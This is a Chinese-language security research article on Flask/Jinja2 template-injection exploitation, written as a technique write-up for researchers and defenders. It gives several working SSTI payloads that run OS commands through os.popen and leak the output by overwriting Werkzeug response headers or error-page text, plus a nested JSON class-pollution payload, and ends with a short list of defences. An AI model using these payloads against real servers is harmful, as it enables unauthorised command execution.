Flask请求头回显与错误页面污染技术研究

一、背景与起源

本文技术源于对Jinja2 SSTI漏洞利用的深入研究，特别是两种新型回显方式：

1. 通过Server请求头带出命令回显
2. 通过错误页面污染实现回显

二、技术基础

2.1 Flask请求处理机制

Flask的请求和响应处理主要依赖Werkzeug库，其核心模块包括：

• werkzeug.wrappers：处理请求和响应包装
• werkzeug.exceptions：处理各种HTTP异常
• werkzeug.serving：包含WSGIRequestHandler等服务器组件

2.2 请求头回显的限制

通过请求头回显存在一个关键限制：响应头内容必须经过latin-1编码，只能包含ASCII字符。遇到中文字符会报错。

解决方案：

1. 使用Base64编码输出非ASCII字符
2. 篡改报错页面的响应进行回显

三、请求头污染技术

3.1 可污染的响应头属性

在werkzeug.wrappers.Response类中，可以篡改的属性包括：

• default_status：控制默认状态码
• default_mimetype：控制默认MIME类型
• 其他响应头属性

3.2 污染default_status示例

{{ url_for.__globals__.__builtins__['setattr'](
    lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.wrappers.Response, 
    'default_status', 
    url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read()
)}}

3.3 处理非ASCII输出

使用Base64编码解决非ASCII字符问题：

{{ url_for.__globals__.__builtins__['setattr'](
    lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.wrappers.Response,
    'default_status',
    url_for.__globals__.__builtins__.__import__('base64').b64encode(
        url_for.__globals__.__builtins__['__import__']('os').popen('dir').read().encode()
    ).decode()
)}}

四、错误页面污染技术

4.1 错误页面污染原理

错误页面的内容定义在werkzeug.exceptions模块中，例如：

• InternalServerError：500错误
• NotFound：404错误

这些类的description属性控制错误页面的显示内容。

4.2 污染500错误页面示例

{{ url_for.__globals__.__builtins__['setattr'](
    lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.InternalServerError,
    'description',
    url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read()
)}}

4.3 污染404错误页面示例

{{ url_for.__globals__.__builtins__['setattr'](
    lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,
    'description',
    url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read()
)}}

五、原型链污染应用

5.1 原型链污染基础

通过污染对象的原型链，可以影响所有继承该原型的对象。

5.2 在Flask中的应用

即使没有直接导入sys模块，也可以通过其他模块访问：

{
    "__init__": {
        "__globals__": {
            "math": {
                "__spec__": {
                    "__init__": {
                        "__globals__": {
                            "sys": {
                                "modules": {
                                    "werkzeug": {
                                        "exceptions": {
                                            "NotFound": {
                                                "description": "污染内容"
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

5.3 XSS潜在利用

理论上可以通过污染错误页面实现存储型XSS，但实际存在限制：

• Jinja2会自动对输出进行HTML实体编码
• 需要找到绕过编码的方法

六、防御措施

1. 输入过滤：严格过滤用户输入，特别是模板渲染内容
2. 沙箱环境：在安全沙箱中执行模板渲染
3. 最小权限：限制模板引擎的访问权限
4. 更新补丁：及时更新Flask和依赖库版本
5. 禁用危险功能：如非必要，禁用__globals__等危险属性访问

七、总结

本文详细分析了Flask中通过请求头和错误页面实现命令回显的技术，包括：

• 请求头污染技术及其ASCII限制
• 错误页面污染技术及其优势
• 原型链污染在Flask中的应用
• 潜在的XSS利用可能性

这些技术为安全研究人员提供了新的漏洞利用思路，同时也提醒开发者加强安全防护措施。